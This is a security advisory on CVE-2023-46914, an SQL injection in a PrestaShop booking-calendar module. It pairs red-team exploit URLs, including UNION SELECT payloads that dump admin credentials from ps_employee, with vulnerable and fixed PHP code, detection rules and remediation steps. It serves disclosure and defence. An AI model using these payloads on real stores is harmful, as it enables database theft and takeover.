CVE-2023-46914

Executive Summary

CVE-2023-46914 is a critical SQL Injection vulnerability discovered in the RM BookingCalendar module for PrestaShop, affecting versions 2.7.9 and earlier. The flaw resides in the ics_export.php file, which fails to sanitize user-supplied input before constructing SQL queries. This allows a remote, unauthenticated attacker to execute arbitrary SQL commands, potentially leading to full database compromise, privilege escalation, and extraction of sensitive data (customer PII, credentials, payment information).

The vulnerability is classified as unpatched by the vendor, and no official fix has been released. Given the widespread use of PrestaShop for e-commerce, this poses a significant supply chain risk. The EPSS score is 0.0%, indicating low exploitation probability at the time of analysis, but the public availability of proof-of-concept code increases the threat.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module, not the core platform. However, it represents a classic supply chain risk: a widely used extension introduces a critical flaw. Organizations using PrestaShop must audit their installed modules for rmbookingcalendar and treat it as a compromised component until mitigated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is trivially exploitable by an unauthenticated attacker over the network, with no user interaction required. Successful exploitation can lead to complete compromise of the PrestaShop database.

Deep Dive & Mechanics

The vulnerability exists in the ics_export.php endpoint of the RM BookingCalendar module. This script is designed to export booking data in iCalendar format. The vulnerable code directly concatenates user-supplied parameters (likely id_product or similar) into an SQL query without proper sanitization or parameterized queries.

Vulnerable Code Snippet (Conceptual):

// ics_export.php
$id_product = $_GET['id_product'];
$sql = "SELECT * FROM "._DB_PREFIX_."booking WHERE id_product = $id_product";
$result = Db::getInstance()->executeS($sql);

An attacker can inject SQL commands by manipulating the id_product parameter. For example:

GET /modules/rmbookingcalendar/ics_export.php?id_product=1 UNION SELECT ...

This allows the attacker to:

• Extract arbitrary data from any table (e.g., ps_customer, ps_orders).
• Modify or delete data.
• Potentially escalate privileges by manipulating admin sessions.

Vulnerable vs. Patched Code

Since no official patch exists, the "patched" code is a hypothetical secure version.

Vulnerable Code (rmbookingcalendar/ics_export.php):

$id_product = Tools::getValue('id_product');
$sql = "SELECT * FROM "._DB_PREFIX_."booking WHERE id_product = $id_product";
$result = Db::getInstance()->executeS($sql);

Patched Code (Hypothetical):

$id_product = (int)Tools::getValue('id_product');
$sql = "SELECT * FROM "._DB_PREFIX_."booking WHERE id_product = " . (int)$id_product;
$result = Db::getInstance()->executeS($sql);

The fix involves:

1. Casting the input to an integer ((int)), which eliminates SQL injection by ensuring only numeric values are used.
2. Alternatively, using prepared statements with bound parameters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A PrestaShop instance with RM BookingCalendar module v2.7.9 or earlier.
• Network access to the /modules/rmbookingcalendar/ics_export.php endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/modules/rmbookingcalendar/ics_export.php?id_product=1"
   

2. Confirm SQL injection by injecting a time-based payload:

   http://target.com/modules/rmbookingcalendar/ics_export.php?id_product=1 AND SLEEP(5)
   

   If the response is delayed by 5 seconds, the injection is confirmed.

3. Extract database version:

   http://target.com/modules/rmbookingcalendar/ics_export.php?id_product=1 UNION SELECT @@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100
   

4. Dump admin credentials:

   http://target.com/modules/rmbookingcalendar/ics_export.php?id_product=1 UNION SELECT email,passwd,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM ps_employee
   

Note: The number of columns in the UNION SELECT must match the original query. Adjust based on error messages.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP requests to ics_export.php for unusual parameters (e.g., UNION, SLEEP, SELECT).
2. Enable SQL query logging in PrestaShop to capture injected queries.
3. Deploy a WAF rule to block requests containing SQL keywords in the id_product parameter.

Response Steps:

1. Immediately isolate the affected PrestaShop instance.
2. Review database logs for unauthorized queries.
3. Rotate all credentials stored in the database (admin, customer, API).
4. Remove or disable the rmbookingcalendar module until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /modules/rmbookingcalendar/ics_export.php with parameters containing SQL keywords (UNION, SELECT, SLEEP, BENCHMARK).
  • Unusual response times (time-based SQL injection).
  • Outbound database connections from the web server to unknown IPs.

• File IOCs:

  • Modified ics_export.php file (if attacker uploaded a webshell).
  • Suspicious files in /modules/rmbookingcalendar/ directory.

• Database IOCs:

  • Unauthorized queries in MySQL general log.
  • New admin accounts in ps_employee table.
  • Modified or deleted booking records.

Detection Engineering

YARA Rule

rule CVE_2023_46914_SQLi_ics_export {
    meta:
        description = "Detects SQL injection attempts against RM BookingCalendar ics_export.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-46914"
    strings:
        $suspicious_param = /id_product=.*(UNION|SELECT|SLEEP|BENCHMARK|OR\s+1=1)/i
        $endpoint = "ics_export.php"
    condition:
        $endpoint and $suspicious_param
}

Sigma Rule

title: SQL Injection Attempt Against RM BookingCalendar
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the ics_export.php endpoint of the RM BookingCalendar PrestaShop module.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "ics_export.php"
        cs-uri-query|re: '(UNION|SELECT|SLEEP|BENCHMARK|OR\s+1=1)'
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a product name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-46914 - SQL Injection in RM BookingCalendar ics_export.php";
    flow:to_server,established;
    content:"ics_export.php"; http_uri;
    pcre:"/id_product=.*(UNION|SELECT|SLEEP|BENCHMARK|OR\s+1=1)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the rmbookingcalendar module from all PrestaShop installations.
2. Apply a virtual patch using a WAF to block SQL injection patterns in ics_export.php.
3. Audit the database for signs of compromise (unexpected admin accounts, modified data).

Long-Term Fix:

• Since the vendor is unresponsive, the module must be forked and patched internally. The fix involves:
  • Casting all input parameters to integers or using prepared statements.
  • Implementing input validation and output encoding.
• Consider replacing the module with an alternative booking solution that is actively maintained.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging for all PrestaShop modules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert